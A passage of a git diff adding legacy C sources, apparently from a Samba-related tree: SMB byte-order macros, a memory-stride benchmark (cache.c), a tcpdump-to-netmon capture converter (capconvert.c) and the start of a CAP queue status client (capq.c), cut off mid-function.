+IVAL(buf,pos) - extract a 4 byte SMB value
+SVALS(buf,pos) signed version of SVAL()
+IVALS(buf,pos) signed version of IVAL()
+
+SSVAL(buf,pos,val) - put a 2 byte SMB value into a buffer
+SIVAL(buf,pos,val) - put a 4 byte SMB value into a buffer
+SSVALS(buf,pos,val) - signed version of SSVAL()
+SIVALS(buf,pos,val) - signed version of SIVAL()
+
+RSVAL(buf,pos) - like SVAL() but for NMB byte ordering
+RIVAL(buf,pos) - like IVAL() but for NMB byte ordering
+RSSVAL(buf,pos,val) - like SSVAL() but for NMB ordering
+RSIVAL(buf,pos,val) - like SIVAL() but for NMB ordering
+
+it also defines lots of intermediate macros, just ignore those :-)
+
+*/
+
+/* some switch macros that do both store and read to and from SMB buffers */
+
+#define RW_PCVAL(read,inbuf,outbuf,len) \
+                if (read) { PCVAL (inbuf,0,outbuf,len) } \
+                else      { PSCVAL(inbuf,0,outbuf,len) }
+
+#define RW_PIVAL(read,inbuf,outbuf,len) \
+                if (read) { PIVAL (inbuf,0,outbuf,len) } \
+                else      { PSIVAL(inbuf,0,outbuf,len) }
+
+#define RW_PSVAL(read,inbuf,outbuf,len) \
+                if (read) { PSVAL (inbuf,0,outbuf,len) } \
+                else      { PSSVAL(inbuf,0,outbuf,len) }
+
+#define RW_CVAL(read, inbuf, outbuf, offset) \
+                if (read) (outbuf) = CVAL (inbuf,offset); \
+                else                 SCVAL(inbuf,offset,outbuf);
+
+#define RW_IVAL(read, inbuf, outbuf, offset) \
+                if (read) (outbuf)= IVAL (inbuf,offset); \
+                else                SIVAL(inbuf,offset,outbuf);
+
+#define RW_SVAL(read, inbuf, outbuf, offset) \
+                if (read) (outbuf)= SVAL (inbuf,offset); \
+                else                SSVAL(inbuf,offset,outbuf);
+
+#undef CAREFUL_ALIGNMENT
+
+/* we know that the 386 can handle misalignment and has the "right" 
+   byteorder */
+#ifdef __i386__
+#define CAREFUL_ALIGNMENT 0
+#endif
+
+#ifndef CAREFUL_ALIGNMENT
+#define CAREFUL_ALIGNMENT 1
+#endif
+
+#define CVAL(buf,pos) (((unsigned char *)(buf))[pos])
+#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos))
+#define SCVAL(buf,pos,val) (CVAL(buf,pos) = (val))
+
+
+#if CAREFUL_ALIGNMENT
+
+#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8)
+#define IVAL(buf,pos) (SVAL(buf,pos)|SVAL(buf,(pos)+2)<<16)
+#define SSVALX(buf,pos,val) (CVAL(buf,pos)=(val)&0xFF,CVAL(buf,pos+1)=(val)>>8)
+#define SIVALX(buf,pos,val) (SSVALX(buf,pos,val&0xFFFF),SSVALX(buf,pos+2,val>>16))
+#define SVALS(buf,pos) ((int16)SVAL(buf,pos))
+#define IVALS(buf,pos) ((int32)IVAL(buf,pos))
+#define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16)(val)))
+#define SIVAL(buf,pos,val) SIVALX((buf),(pos),((uint32)(val)))
+#define SSVALS(buf,pos,val) SSVALX((buf),(pos),((int16)(val)))
+#define SIVALS(buf,pos,val) SIVALX((buf),(pos),((int32)(val)))
+
+#else
+
+/* this handles things for architectures like the 386 that can handle
+   alignment errors */
+/*
+   WARNING: This section is dependent on the length of int16 and int32
+   being correct 
+*/
+
+/* get single value from an SMB buffer */
+#define SVAL(buf,pos) (*(uint16 *)((char *)(buf) + (pos)))
+#define IVAL(buf,pos) (*(uint32 *)((char *)(buf) + (pos)))
+#define SVALS(buf,pos) (*(int16 *)((char *)(buf) + (pos)))
+#define IVALS(buf,pos) (*(int32 *)((char *)(buf) + (pos)))
+
+/* store single value in an SMB buffer */
+#define SSVAL(buf,pos,val) SVAL(buf,pos)=((uint16)(val))
+#define SIVAL(buf,pos,val) IVAL(buf,pos)=((uint32)(val))
+#define SSVALS(buf,pos,val) SVALS(buf,pos)=((int16)(val))
+#define SIVALS(buf,pos,val) IVALS(buf,pos)=((int32)(val))
+
+#endif
+
+
+/* macros for reading / writing arrays */
+
+#define SMBMACRO(macro,buf,pos,val,len,size) \
+{ int l; for (l = 0; l < (len); l++) (val)[l] = macro((buf), (pos) + (size)*l); }
+
+#define SSMBMACRO(macro,buf,pos,val,len,size) \
+{ int l; for (l = 0; l < (len); l++) macro((buf), (pos) + (size)*l, (val)[l]); }
+
+/* reads multiple data from an SMB buffer */
+#define PCVAL(buf,pos,val,len) SMBMACRO(CVAL,buf,pos,val,len,1)
+#define PSVAL(buf,pos,val,len) SMBMACRO(SVAL,buf,pos,val,len,2)
+#define PIVAL(buf,pos,val,len) SMBMACRO(IVAL,buf,pos,val,len,4)
+#define PCVALS(buf,pos,val,len) SMBMACRO(CVALS,buf,pos,val,len,1)
+#define PSVALS(buf,pos,val,len) SMBMACRO(SVALS,buf,pos,val,len,2)
+#define PIVALS(buf,pos,val,len) SMBMACRO(IVALS,buf,pos,val,len,4)
+
+/* stores multiple data in an SMB buffer */
+#define PSCVAL(buf,pos,val,len) SSMBMACRO(SCVAL,buf,pos,val,len,1)
+#define PSSVAL(buf,pos,val,len) SSMBMACRO(SSVAL,buf,pos,val,len,2)
+#define PSIVAL(buf,pos,val,len) SSMBMACRO(SIVAL,buf,pos,val,len,4)
+#define PSCVALS(buf,pos,val,len) SSMBMACRO(SCVALS,buf,pos,val,len,1)
+#define PSSVALS(buf,pos,val,len) SSMBMACRO(SSVALS,buf,pos,val,len,2)
+#define PSIVALS(buf,pos,val,len) SSMBMACRO(SIVALS,buf,pos,val,len,4)
+
+
+/* now the reverse routines - these are used in nmb packets (mostly) */
+#define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF))
+#define IREV(x) ((SREV(x)<<16) | (SREV((x)>>16)))
+
+#define RSVAL(buf,pos) SREV(SVAL(buf,pos))
+#define RIVAL(buf,pos) IREV(IVAL(buf,pos))
+#define RSSVAL(buf,pos,val) SSVAL(buf,pos,SREV(val))
+#define RSIVAL(buf,pos,val) SIVAL(buf,pos,IREV(val))
+
+#define DBG_RW_PCVAL(charmode,string,depth,base,read,inbuf,outbuf,len) \
+       RW_PCVAL(read,inbuf,outbuf,len) \
+       DEBUG(5,("%s%04x %s: ", \
+             tab_depth(depth), PTR_DIFF(inbuf,base),string)); \
+    if (charmode) print_asc(5, (unsigned char*)(outbuf), (len)); else \
+       { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%02x ", (outbuf)[idx])); } } \
+       DEBUG(5,("\n"));
+
+#define DBG_RW_PSVAL(charmode,string,depth,base,read,inbuf,outbuf,len) \
+       RW_PSVAL(read,inbuf,outbuf,len) \
+       DEBUG(5,("%s%04x %s: ", \
+             tab_depth(depth), PTR_DIFF(inbuf,base),string)); \
+    if (charmode) print_asc(5, (unsigned char*)(outbuf), 2*(len)); else \
+       { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%04x ", (outbuf)[idx])); } } \
+       DEBUG(5,("\n"));
+
+#define DBG_RW_PIVAL(charmode,string,depth,base,read,inbuf,outbuf,len) \
+       RW_PIVAL(read,inbuf,outbuf,len) \
+       DEBUG(5,("%s%04x %s: ", \
+             tab_depth(depth), PTR_DIFF(inbuf,base),string)); \
+    if (charmode) print_asc(5, (unsigned char*)(outbuf), 4*(len)); else \
+       { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%08x ", (outbuf)[idx])); } } \
+       DEBUG(5,("\n"));
+
+#define DBG_RW_CVAL(string,depth,base,read,inbuf,outbuf) \
+       RW_CVAL(read,inbuf,outbuf,0) \
+       DEBUG(5,("%s%04x %s: %02x\n", \
+             tab_depth(depth), PTR_DIFF(inbuf,base), string, outbuf));
+
+#define DBG_RW_SVAL(string,depth,base,read,inbuf,outbuf) \
+       RW_SVAL(read,inbuf,outbuf,0) \
+       DEBUG(5,("%s%04x %s: %04x\n", \
+             tab_depth(depth), PTR_DIFF(inbuf,base), string, outbuf));
+
+#define DBG_RW_IVAL(string,depth,base,read,inbuf,outbuf) \
+       RW_IVAL(read,inbuf,outbuf,0) \
+       DEBUG(5,("%s%04x %s: %08x\n", \
+             tab_depth(depth), PTR_DIFF(inbuf,base), string, outbuf));
+
diff --git a/cache.c b/cache.c
new file mode 100644 (file)
index 0000000..cafc421
--- /dev/null
+++ b/cache.c
@@ -0,0 +1,196 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+
+#ifdef SOLARIS2
+#include <sys/rusage.h>
+#endif
+
+#include <sys/resource.h>
+#include <unistd.h>
+
+/*Blocksize is 1M words (on intels, this is 1Mb)
+*/
+
+#define MAXBSIZE (1024*1024)
+#define LOOPTIME 2.0
+
+typedef unsigned int ui;
+
+double readtime(void);
+double read_test(ui);
+void build_buffer(int, int);
+
+ui buf[MAXBSIZE * sizeof(ui *)];
+FILE *record;
+
+double readtime()
+       {
+       struct rusage r;
+       double rv;
+
+       getrusage(RUSAGE_SELF,&r);
+
+#ifdef SOLARIS2 || _POSIX_C_SOURCE
+       rv = (double)r.ru_utime.tv_sec + (double)(r.ru_utime.tv_nsec/1e9);
+#else
+       rv = (double)r.ru_utime.tv_sec + (double)(r.ru_utime.tv_usec/1e6);
+#endif
+       return(rv);
+       }
+
+main()
+       {
+       double t,wps;
+       int str;
+       ui count,buflen;
+       int i,pcount=0;
+       char strbuf[10];
+
+       /* Open our log file */
+       for(i=1; i<32; ++i)
+          {
+          sprintf(strbuf,"cache.%d",i);
+          if (access(strbuf,0)) break;
+          }
+       record=fopen(strbuf,"w");
+       if (record==NULL) printf("Could not open record file %s. No record kept\n",strbuf);
+       else printf("\t\tA copy of this run will be kept in %s\n\n",strbuf);
+
+       printf("Memory tester v1.0\n");
+       printf("Author: Anthony.Wesley@anu.edu.au, January 1996\n\n");
+       printf("On this machine, one word = %d bytes\n",sizeof(ui *));
+       printf("Reported access times are in nS per word.\n\n");
+       if (record!=NULL)
+          {
+          fprintf(record,"On this machine, one word = %d bytes\n",sizeof(ui *));
+          fprintf(record,"Reported access times are in nS per word.\n\n");
+          }
+
+       /* Start with a block of 256 words, each word is of type (ui *) */
+       build_buffer(256,1);
+       count=8;
+       do
+          {
+          count *= 2;
+          t = read_test(count);
+          }
+       while(t < 2);
+
+       fflush(stdout);
+
+       print_header();
+       count = (ui)((double)count * LOOPTIME / t);
+       for(buflen=256; buflen<=MAXBSIZE; buflen*=2)
+          {
+          if (buflen<256*1024) sprintf(strbuf,"%uk",buflen/256);
+          else sprintf(strbuf,"%uM",buflen/(256*1024));
+
+          printf("%-5.5s|",strbuf); fflush(stdout);
+          if (record!=NULL) fprintf(record,"%-5.5s|",strbuf);
+
+          for(str=1; str<buflen; str*=2)
+               {
+               build_buffer(buflen,str);
+
+               while(1)
+                  {
+                  t = read_test(count);
+                  if (t<1.0) count*=3; else break;
+                  }
+       
+               wps = (double)(count) / t;
+               wps = 1.0e9 / wps;
+               if (wps>=1000)
+                  {
+                  printf("1k+ ");
+                  if (record!=NULL) fprintf(record,"1k+ ");
+                  }
+               else 
+                  {
+                  printf("%-3d ", (int)wps);
+                  if (record!=NULL) fprintf(record,"%-3d ", (int)wps);
+                  }
+
+               fflush(stdout); if (record!=NULL) fflush(record);
+
+               count = (ui)((double)count * LOOPTIME / t);
+               }
+          putchar('\n');
+          if (record!=NULL) putc('\n',record);
+          }
+
+       if (record!=NULL) fclose(record);
+       }
+
+double read_test(ui count)
+       {
+       double t1;
+       register ui *o,i=0;
+
+       o=(ui *)buf[0];
+       t1=readtime(); while(i<count)
+               {
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o); o=(ui *)(*o);
+               i+=64;
+               }
+       return(readtime()-t1);
+       }
+
+void
+build_buffer(int size, int stridelen)
+       {
+       ui i;
+
+       for(i=0; i<(size-stridelen); i+=stridelen)
+               buf[i]=(ui)&buf[i+stridelen];
+       buf[i] = (ui)&buf[0];
+       }
+
+print_header()
+       {
+       char strbuf[32];
+       unsigned v,val,i;
+       char c=0;
+
+       printf(
+"Block|--------------------------Memory Stride (words)------------------------\n");
+printf("size |");
+
+       if (record!=NULL)
+          {
+          fprintf(record,
+          "Block|--------------------------Memory Stride (words)------------------------\n");
+          fprintf(record,"size |");
+          }
+
+       for(val=1; val<=(1024*128); val*=2)
+          {
+          v=val;
+          if (val>=(1024*1024)) { c='M'; v = val / (1024*1024); }
+          else if (val>=1024) { c='k'; v = val / 1024; }
+
+          sprintf(strbuf,"%d%c",v,c);
+          if (v>64 && c) {strbuf[2]=c; strbuf[3]=0;}
+          printf("%-3s ",strbuf);
+          if (record!=NULL) fprintf(record,"%-3s ",strbuf);
+          }
+       putchar('\n'); if (record!=NULL) putc('\n',record);
+       printf("     |\n");
+       if (record!=NULL) fprintf(record,"     |\n");
+       }
diff --git a/capconvert.c b/capconvert.c
new file mode 100644 (file)
index 0000000..fdda4d4
--- /dev/null
@@ -0,0 +1,310 @@
+/* convert a tcpdump capture file to a netmon .cap file.
+
+   Andrew Tridgell, October 1997
+
+   This only works for 32 bit boxes at the moment. Change the typedefs
+   to work on other sytems
+*/
+
+#include <stdlib.h>
+#include <unistd.h>
+#include <memory.h>
+#include <sys/time.h>
+#include <stdio.h>
+#include <fcntl.h>
+
+/* change the following 3 lines to make things work on
+   systems with different word sizes */
+typedef int int32;
+typedef unsigned int uint32;
+typedef unsigned short uint16;
+
+
+#define DEBUG 0
+
+#define TCPDUMP_MAGIC 0xa1b2c3d4
+
+/* tcpdump file format */
+struct tcpdump_file_header {
+       uint32 magic;
+       uint16 major;
+       uint16 minor;
+       int32 zone;
+       uint32 sigfigs;
+       uint32 snaplen;
+       uint32 linktype;
+};
+
+struct tcpdump_packet {
+       struct timeval ts;
+       uint32 caplen;
+       uint32 len;
+};
+
+
+/* .cap file format */
+struct cap_header {
+    char             rtss[4];
+    char             minor;
+    char             major;
+    uint16           captype; 
+    char             starttime[16];
+    uint32           frameoffset;
+    uint32           framelength;
+    uint32           unknown[24];
+};
+
+struct cap_packet {
+       uint32 cap_time; /* milliseconds */
+       uint16 len;
+       uint16 caplen;
+};
+
+/* file format is:
+   header
+   frames
+   frameoffsets
+   */
+
+
+static void swap_uint32(uint32 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[3]; p[3] = c;
+       c = p[1]; p[1] = p[2]; p[2] = c;
+}
+
+static void swap_int32(int32 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[3]; p[3] = c;
+       c = p[1]; p[1] = p[2]; p[2] = c;
+}
+
+static void swap_uint16(uint16 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[1]; p[1] = c;
+}
+
+
+static void swap_netmon_header(struct cap_header *h)
+{
+       swap_uint16(&h->captype);
+       swap_uint32(&h->frameoffset);
+       swap_uint32(&h->framelength);
+}
+
+static void swap_netmon_packet(struct cap_packet *p)
+{
+       swap_uint32(&p->cap_time);
+       swap_uint16(&p->len);
+       swap_uint16(&p->caplen);
+}
+
+static void swap_tcpdump_header(struct tcpdump_file_header *h)
+{
+       swap_uint32(&h->magic);
+       swap_uint16(&h->major);
+       swap_uint16(&h->minor);
+       swap_int32(&h->zone);
+       swap_uint32(&h->sigfigs);
+       swap_uint32(&h->snaplen);
+       swap_uint32(&h->linktype);
+}
+
+static void swap_tcpdump_packet(struct tcpdump_packet *p)
+{
+       swap_uint32(&p->ts.tv_sec);
+       swap_uint32(&p->ts.tv_usec);
+       swap_uint32(&p->len);
+       swap_uint32(&p->caplen);
+}
+
+
+int convert_tcpdump_to_cap(char *infile, char *outfile)
+{
+       uint32 *framestart = NULL;
+       int maxframes = 1000000;
+       int i;
+       int fd1, fd2, fd3;
+       int snaplen;
+       struct tcpdump_file_header tcpdump_header;
+       struct tcpdump_packet tcpdump_pkt;
+       char *data;
+       struct cap_header cap_header;
+       struct cap_packet cap_pkt;
+       struct timeval tval1;
+       char pad[4];
+       int swap_tcpdump = 0;
+       int swap_netmon = 0;
+
+       fd1 = open(infile, O_RDONLY);
+       if (fd1 == -1) {
+               perror(infile);
+               exit(1);
+       }
+
+       fd2 = open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+       if (fd2 == -1) {
+               perror(outfile);
+               exit(1);
+       }
+
+       fd3 = open("cap.dat", O_WRONLY | O_CREAT | O_TRUNC, 0644);
+       if (fd3 == -1) {
+               perror("cap.dat");
+               exit(1);
+       }
+
+       if (read(fd1, &tcpdump_header, sizeof(tcpdump_header)) != 
+           sizeof(tcpdump_header)) {
+               printf("can't read tcpdump header\n");
+               return 0;
+       }
+
+       write(fd3, &tcpdump_header, sizeof(tcpdump_header));
+
+       /* tcpdump files can be in either byte order. */
+       if (tcpdump_header.magic != TCPDUMP_MAGIC) {
+               swap_tcpdump = 1;
+               swap_tcpdump_header(&tcpdump_header);
+       }
+
+       if (tcpdump_header.magic != TCPDUMP_MAGIC) {
+               printf("bad magic number %x\n", tcpdump_header.magic);
+               return 0;
+       }
+
+       /* check if we are little endian. If not, we need to
+          convert the network monitor output */
+       i=1;
+       if (((char *)&i)[0] != 1) swap_netmon = 1;
+
+       /* setup the basic netmon header */
+       memset(&cap_header, 0, sizeof(cap_header));
+       strcpy(cap_header.rtss, "RTSS");
+       cap_header.minor = 1;
+       cap_header.major = 1;
+       cap_header.captype = tcpdump_header.linktype;
+       
+       /* write it out. we will have to write it again once
+          we've worked out the rest of the parameters */
+       write(fd2, &cap_header, sizeof(cap_header));
+
+       snaplen = tcpdump_header.snaplen;
+
+       printf("tcpdump-%d.%d snaplen=%d linktype=%d\n", 
+              tcpdump_header.major, tcpdump_header.minor,
+              snaplen, tcpdump_header.linktype);
+
+       data = (char *)malloc(snaplen);
+
+       framestart = (uint32 *)malloc(maxframes * sizeof(framestart[0]));
+
+       if (!framestart) {
+               perror("malloc");
+               exit(1);
+       }
+
+       memset(pad, 0, sizeof(pad));
+       
+       for (i=0; 1 ; i++) {
+               if (i == maxframes-1) {
+                       framestart = (uint32 *)realloc(framestart, 
+                                                      maxframes*2*
+                                                      sizeof(framestart[0]));
+                       maxframes *= 2;
+                       if (!framestart) {
+                               perror("malloc");
+                               exit(1);
+                       }
+               }
+
+               if (read(fd1, &tcpdump_pkt, sizeof(tcpdump_pkt)) != 
+                   sizeof(tcpdump_pkt))
+                       break;
+
+               write(fd3, &tcpdump_pkt, sizeof(tcpdump_pkt));
+
+               if (swap_tcpdump)
+                       swap_tcpdump_packet(&tcpdump_pkt);
+
+               if (i == 0)
+                       tval1 = tcpdump_pkt.ts;
+
+#if DEBUG
+               printf("frame %d of length=%d:%d\n",
+                      i+1, tcpdump_pkt.caplen, tcpdump_pkt.len);
+#endif
+
+               lseek(fd1, 8, SEEK_CUR);
+
+               if (read(fd1, data, tcpdump_pkt.caplen) != tcpdump_pkt.caplen)
+                       break;
+
+               write(fd3, data, tcpdump_pkt.caplen);
+
+               if (tcpdump_pkt.caplen > tcpdump_pkt.len)
+                       tcpdump_pkt.caplen = tcpdump_pkt.len;
+
+               framestart[i] = lseek(fd2, 0, SEEK_CUR);
+
+               cap_pkt.cap_time = (tcpdump_pkt.ts.tv_sec - tval1.tv_sec)*1000 +
+                       (tcpdump_pkt.ts.tv_usec - tval1.tv_usec)/1000;
+               cap_pkt.caplen = tcpdump_pkt.caplen;
+               cap_pkt.len = tcpdump_pkt.len;
+
+               if (swap_netmon)
+                       swap_netmon_packet(&cap_pkt);
+
+               write(fd2, &cap_pkt, sizeof(cap_pkt));
+               write(fd2, data, tcpdump_pkt.caplen);
+
+               if (tcpdump_pkt.caplen % 4 != 0) {
+                       write(fd2, pad, 4 - (tcpdump_pkt.caplen % 4));
+               }
+
+#if DEBUG
+               printf("frame %d of length=%d:%d\n",
+                      i+1, tcpdump_pkt.caplen, tcpdump_pkt.len);
+#endif
+       }
+
+       cap_header.frameoffset = lseek(fd2, 0, SEEK_CUR);
+       cap_header.framelength = i*4;
+
+       if (swap_netmon) {
+               int j;
+               for (j=0;j<i;j++)
+                       swap_uint32(&framestart[j]);
+               swap_netmon_header(&cap_header);
+       }
+
+       write(fd2, framestart, i*4);
+
+       lseek(fd2, 0, SEEK_SET);
+
+       write(fd2, &cap_header, sizeof(cap_header));
+
+       close(fd1);
+       close(fd2);
+       close(fd3);
+
+       printf("converted %d frames\n", i);
+
+       return i;
+}
+
+int main(int argc, char *argv[])
+{
+       if (argc < 3) {
+               printf("Convert a tcpdump capture file to a netmon .cap file\n");
+               printf("\tUsage: capconvert <infile> <outfile>\n");
+               exit(1);
+       }
+
+       convert_tcpdump_to_cap(argv[1], argv[2]);
+
+       return 0;
+}
diff --git a/capq.c b/capq.c
new file mode 100644 (file)
index 0000000..7e753f9
--- /dev/null
+++ b/capq.c
@@ -0,0 +1,535 @@
+/*
+ * capq - print out state of CAP queue (obtained from capqd).
+ *
+ * capq [-c] [-i interval] [-h cap-host]
+ *
+ * Author: Paul Mackerras, June 1993.
+ */
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <math.h>
+#include <signal.h>
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <sys/termios.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <termios.h>
+
+#define CAPQD_PORT     6123    /* capqd's well-known port number */
+#define CAP_HOST_DFLT  "cafe"  /* default value for -h option */
+
+FILE *capqd_w, *capqd_r;       /* streams to and from capqd */
+char *cap_host;                        /* hostname where capqd is */
+
+/* used for terminal capabilities */
+char termcap_entry[1024], string_caps[1024];
+
+#define MAXLINES       100     /* max # lines for continuous display */
+#define MAXCOLS                100     /* max # columns  */
+
+double last_change_time;       /* cap_host's time of last queue change */
+double our_time;               /* time according to our clock */
+double host_time_diff;         /* cap_host's clock - our clock */
+double timez[MAXLINES];                /* start time for each line of display */
+int num_lines;                 /* # entries valid in timez[] */
+
+/* Convert from a timeval to a floating-point number of seconds */
+#define double_time(x)         ((x)->tv_sec + (x)->tv_usec / 1.0E6)
+
+/* Termcap routines */
+extern int tgetent();
+extern int tgetnum();
+extern char *tgetstr();
+extern int tgetflag();
+extern short ospeed;
+
+/* Option values */
+int continuous;                        /* => display the queue continuously */
+double interval;               /* with updates at this interval */
+
+/* Capability strings and terminal information from termcap */
+int screen_lines;              /* screen has this many lines */
+int screen_width;              /* and this many columns */
+char *term;                    /* terminal type */
+char *home;                    /* go to top-left corner of screen */
+char *init_str;                        /* initialize terminal */
+char *finish_str;              /* reset terminal before exit */
+char *clr_screen;              /* clear whole screen */
+char *clr_eol;                 /* clear to end of line */
+char *clr_eos;                 /* clear to end of screen */
+
+int size_changed;              /* set when the window size changes */
+
+void getout();
+void hoist();
+int outchar();
+
+main(argc, argv)
+    int argc;
+    char **argv;
+{
+    int fd, c, n;
+    int queue_empty;
+    double t;
+    char *ptr;
+    extern char *optarg;
+    fd_set ready;
+    struct timeval *timo, tval;
+    struct termios tio;
+
+    /* set defaults */
+    cap_host = getenv("AP1000HOST");
+    if( cap_host == NULL )
+       cap_host = CAP_HOST_DFLT;
+    continuous = 0;
+    interval = 1.0;
+
+    /* parse command-line options */
+    while( (c = getopt(argc, argv, "c:h:")) != -1 ){
+       switch( c ){
+       case 'h':
+           cap_host = optarg;
+           break;
+       case 'c':
+         continuous = 1;
+         interval = atof(optarg);
+         break;
+       case '?':
+           fprintf(stderr, "Usage: %s [-h host]\n", argv[0]);
+           exit(1);
+       }
+    }
+
+    /* connect to the capqd process */
+    fd = connect_tcp(cap_host, CAPQD_PORT);
+    if( fd < 0 )
+       exit(1);
+    capqd_r = fdopen(fd, "r");
+    capqd_w = fdopen(fd, "w");
+    if( capqd_r == NULL || capqd_w == NULL ){
+       fprintf(stderr, "fdopen failed!\n");
+       exit(1);
+    }
+
+    /* request the current state of the queue */
+    fputs("queue\n", capqd_w);
+    fflush(capqd_w);
+
+    if( !continuous ){
+       /* just print the queue once and exit. */
+       show_queue(0, "");
+       exit(0);
+    }
+
+    /* Continuous mode - get information about the terminal. */
+    if( tcgetattr(0, &tio) == 0 )
+       ospeed = cfgetospeed(&tio);
+    screen_lines = 24;
+    screen_width = 80;
+    home = clr_screen = clr_eol = finish_str = NULL;
+    term = getenv("TERM");
+    if( term != NULL && tgetent(termcap_entry, term) > 0 ){
+       ptr = string_caps;
+       screen_lines = tgetnum("li");
+       screen_width = tgetnum("co");
+       home = tgetstr("ho", &ptr);
+       clr_screen = tgetstr("cl", &ptr);
+       clr_eol = tgetstr("ce", &ptr);
+       clr_eos = tgetstr("cd", &ptr);
+       init_str = tgetstr("ti", &ptr);
+       finish_str = tgetstr("te", &ptr);
+       if( init_str != NULL )
+           tputs(init_str, screen_lines, outchar);
+    }
+
+    /* default to the ANSI sequences */
+    if( home == NULL )
+       home = "\033[H";
+    if( clr_screen == NULL )
+       clr_screen = "\033[H\033[J";
+    if( clr_eol == NULL )
+       clr_eol = "\033[K";
+    if( clr_eos == NULL )
+       clr_eos = "\033[J";
+    if( finish_str == NULL )
+       finish_str = "";
+    tputs(clr_screen, screen_lines, outchar);
+    fflush(stdout);
+
+    if( screen_lines > MAXLINES )
+       screen_lines = MAXLINES;
+    if( screen_width > MAXCOLS )
+       screen_width = MAXCOLS;
+
+    /* fix up the terminal and exit on these signals */
+    signal(SIGINT, getout);
+    signal(SIGTERM, getout);
+    /* update the terminal size on this signal */
+    signal(SIGWINCH, hoist);
+
+    /*
+     * This loop waits for either (a) an update to arrive from capqd,
+     * or (b) for it to be time to change the time values displayed
+     * for jobs in the queue, or (c) for the terminal window size to change.
+     */
+    num_lines = 0;
+    size_changed = 0;
+    for(;;){
+       if( num_lines <= 1 )
+           /* no times to update - don't time out */
+           timo = NULL;
+
+       else {
+           /* work out how long until the first time displayed
+              should change, i.e. until it's a multiple of `interval'. */
+           gettimeofday(&tval, NULL);
+           our_time = double_time(&tval);
+           t = timez[1];
+           if( t == 0 )
+               t = timez[1];
+           t = our_time + host_time_diff - t;
+           t = interval - fmod(t, interval);
+           tval.tv_sec = (int) floor(t);
+           tval.tv_usec = (int) floor((t - tval.tv_sec) * 1.0E6);
+           timo = &tval;
+       }
+
+       /* wait for something */
+       FD_ZERO(&ready);
+       FD_SET(fd, &ready);
+       n = select(fd+1, &ready, NULL, NULL, timo);
+       if( n < 0 && errno != EINTR ){
+           tputs(finish_str, screen_lines, outchar);
+           perror("select");
+           exit(1);
+       }
+
+       if( n > 0 ){
+           /* update display with new information, then ask for
+              another report when the queue changes. */
+           size_changed = 0;
+           show_queue();
+           fprintf(capqd_w, "queue %.2f\n", last_change_time);
+           fflush(capqd_w);
+
+       } else if( size_changed ){
+           /* ask for the queues again */
+           fprintf(capqd_w, "queue\n");
+           fflush(capqd_w);
+           size_changed = 0;
+
+       } else if( n == 0 ){
+           /* timeout - no new information from capqd */
+           update_times();
+       }
+
+       /* leave the cursor at the top left of the screen */
+       tputs(home, 0, outchar);
+       fflush(stdout);
+    }
+}
+
+/*
+ * Fatal signal - clean up terminal and exit.
+ */
+void
+getout(sig)
+    int sig;
+{
+    tputs(finish_str, screen_lines, outchar);
+    exit(0);
+}
+
+/*
+ * Window size changed - winch up the new size.
+ */
+void
+hoist(sig)
+    int sig;
+{
+    struct winsize winsz;
+
+    if( ioctl(fileno(stdout), TIOCGWINSZ, &winsz) == 0 ){
+       size_changed = 1;
+       screen_lines = winsz.ws_row;
+       screen_width = winsz.ws_col;
+       if( screen_lines > MAXLINES )
+           screen_lines = MAXLINES;
+       if( screen_width > MAXCOLS )
+           screen_width = MAXCOLS;
+    }
+}
+
+/*
+ * Output character routine for tputs to use.
+ */
+int
+outchar(c)
+    int c;
+{
+    putchar(c);
+}
+
+/*
+ * New information from capqd - display it, and (in continuous mode)
+ * record the start times for the users shown on each line of the display.
+ */
+int
+show_queue()
+{
+    int n, index, run_done, lnum;
+    double start_time;
+    char *ptr;
+    char line[80];
+    char user[64], more[8];
+    int pid[3];
+    struct timeval now;
+    char str[MAXCOLS+1];
+
+    /* initialize, print heading */
+    run_done = 0;
+    timez[0] = 0;
+    lnum = 1;
+    sprintf(str, "        CAP queue on %.50s", cap_host);
+    putstr(str, 0);
+
+    /* get lines from capqd */
+    for(;;){
+       if( fgets(line, sizeof(line), capqd_r) == NULL ){
+           /* EOF or error - capqd must have gone away */
+           if( continuous ){
+               tputs(finish_str, screen_lines, outchar);
